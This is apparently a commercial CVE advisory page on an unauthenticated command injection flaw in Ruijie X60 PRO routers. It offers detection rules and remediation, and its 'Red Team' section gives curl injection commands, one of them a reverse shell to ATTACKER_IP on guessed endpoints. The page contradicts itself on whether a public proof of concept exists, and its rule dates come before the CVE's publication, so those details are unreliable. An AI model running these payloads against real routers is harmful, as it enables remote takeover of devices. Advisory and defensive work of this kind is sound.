☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Ruijie logo [ WEBSITE ] [ VENDOR STATS ]
SOON 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-56118

CVE-2025-56118 OS Command Injection in Ruijie
📅 PUBLISHED: 2025-12-11 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.68%
👁️
0.68% probability
16.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Commercial
VULNERABLE: X60 PRO V1.00/V2.00
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-56118 is a critical OS Command Injection vulnerability discovered in the Ruijie X60 PRO router firmware versions V1.00 and V2.00. The flaw resides in the /usr/local/lua/dev_sta/nbr_cwmp.lua file, specifically within the module_set function. An unauthenticated attacker can exploit this by sending a crafted POST request, leading to arbitrary command execution on the device. This vulnerability poses a severe risk to network integrity, confidentiality, and availability, as it allows full remote compromise of the affected router. No patch is currently available, and no public proof-of-concept (PoC) has been released.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component is the router itself.
  • Confidentiality (C): High (H) – Full device access leads to data exposure.
  • Integrity (I): High (H) – Arbitrary commands can modify system files.
  • Availability (A): High (H) – Commands can disrupt or disable the device.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution with no user interaction, making it highly exploitable in the wild.

Deep Dive & Mechanics

The vulnerability is an OS Command Injection flaw in the module_set function within the Lua script /usr/local/lua/dev_sta/nbr_cwmp.lua. This script likely handles CWMP (CPE WAN Management Protocol) requests, which are used for remote management of customer-premises equipment.

The module_set function appears to accept user-supplied input from a POST request and passes it unsanitized to a system command execution function (e.g., os.execute() or io.popen()). An attacker can inject arbitrary shell commands by including shell metacharacters (such as ;, |, &, `, $()) in the POST parameters.

Attack Flow:

  1. The attacker sends a POST request to the vulnerable endpoint (likely /cgi-bin/lua/dev_sta/nbr_cwmp.lua or similar).
  2. The module_set function extracts a parameter (e.g., module_name or action) from the request.
  3. This parameter is concatenated into a command string without sanitization.
  4. The command is executed by the operating system, allowing the attacker to run arbitrary commands with the privileges of the web server (typically root).

Example of vulnerable code pattern (hypothetical):

function module_set(request)
    local module = request.post.module
    local cmd = "echo " .. module .. " > /tmp/module.log"
    os.execute(cmd)
end

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, a secure implementation would involve:

  • Input Validation: Whitelist allowed characters for the module parameter (e.g., alphanumeric only).
  • Command Parameterization: Avoid shell execution entirely. Use Lua libraries that do not invoke a shell.
  • Escaping: If shell execution is unavoidable, properly escape shell metacharacters using functions like string.gsub().

Vulnerable Code (Hypothetical):

function module_set(request)
    local module = request.post.module
    os.execute("echo " .. module .. " > /tmp/module.log")
end

Patched Code (Hypothetical):

function module_set(request)
    local module = request.post.module
    -- Validate input: only allow alphanumeric and underscore
    if not module:match("^[%w_]+$") then
        return "Invalid module name"
    end
    -- Use io.popen with proper escaping (though still risky)
    local handle = io.popen("echo " .. module:gsub("([^%w_])", "\\%1") .. " > /tmp/module.log")
    handle:close()
end

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Obtain a Ruijie X60 PRO router with firmware V1.00 or V2.00.
  2. Connect the router to an isolated network.
  3. Identify the router's IP address (e.g., 192.168.1.1).

Exploitation Steps:

  1. Craft a POST request to the vulnerable endpoint. The exact URI may need to be discovered through reverse engineering, but a likely path is /cgi-bin/lua/dev_sta/nbr_cwmp.lua.
  2. Inject a command to establish a reverse shell or exfiltrate data.

Example using curl:

curl -X POST http://192.168.1.1/cgi-bin/lua/dev_sta/nbr_cwmp.lua \
  -d "module=test;id"

Advanced Payload (Reverse Shell):

curl -X POST http://192.168.1.1/cgi-bin/lua/dev_sta/nbr_cwmp.lua \
  -d "module=test;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Note: Since no public PoC exists, the exact parameter name and endpoint must be determined through firmware analysis.

Blue Team (Defensive)

Detection:

  • Monitor for POST requests to /cgi-bin/lua/dev_sta/nbr_cwmp.lua containing shell metacharacters (;, |, &, `, $()).
  • Alert on unusual outbound connections from the router to external IPs on high ports (e.g., 4444).
  • Check for unexpected processes spawned by the web server (e.g., bash, nc, python).

Mitigation:

  • Isolate affected routers on a separate VLAN with strict egress filtering.
  • Disable CWMP if not required.
  • Implement a Web Application Firewall (WAF) rule to block malicious POST parameters.

Indicators of Compromise (IOCs)

Network IOCs:

  • POST requests to /cgi-bin/lua/dev_sta/nbr_cwmp.lua with parameters containing shell metacharacters.
  • Outbound connections from the router to unknown IPs on ports 4444, 1337, or other common reverse shell ports.
  • DNS queries to suspicious domains from the router.

File IOCs:

  • Unexpected files in /tmp/ (e.g., /tmp/module.log, /tmp/exploit.sh).
  • Modified system binaries (e.g., /bin/busybox replaced with a backdoored version).

Process IOCs:

  • Unusual processes running as root, such as bash, nc, python, or perl.
  • Processes with arguments containing IP addresses or port numbers.

Detection Engineering

YARA Rule

rule CVE_2025_56118_Ruijie_X60_Command_Injection {
    meta:
        description = "Detects OS command injection attempts against Ruijie X60 PRO routers"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-56118"
    strings:
        $cmd1 = "module_set" nocase
        $cmd2 = "nbr_cwmp.lua" nocase
        $shell1 = ";" ascii
        $shell2 = "|" ascii
        $shell3 = "&" ascii
        $shell4 = "`" ascii
        $shell5 = "$(" ascii
    condition:
        $cmd1 and $cmd2 and 1 of ($shell*)
}

Sigma Rule

title: Ruijie X60 PRO Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to the vulnerable endpoint with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'nbr_cwmp.lua'
    keywords:
        - ';'
        - '|'
        - '&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in module names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-56118 Ruijie X60 PRO Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"nbr_cwmp.lua"; http_uri;
    pcre:"/(;|\||&|`|\$\().*module_set/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-56118;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate Affected Devices: Place Ruijie X60 PRO routers on a separate VLAN with no direct internet access.
  2. Disable CWMP: If not required, disable the CWMP service to reduce the attack surface.
  3. Monitor Logs: Enable detailed logging and monitor for exploitation attempts.

Long-Term Fix:

  • Vendor Patch: Await an official firmware update from Ruijie. Contact their support for an ETA.
  • Firmware Hardening: If possible, manually patch the vulnerable Lua script by adding input validation and escaping.
  • Replace Device: Consider replacing the router with a model that receives regular security updates.

Workaround:

  • Implement a WAF rule to block POST requests containing shell metacharacters in the module parameter.
  • Use network segmentation to limit the router's ability to initiate outbound connections.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Ruijie X60 PRO
X60_10212014RG-X60 PRO

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-56118/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.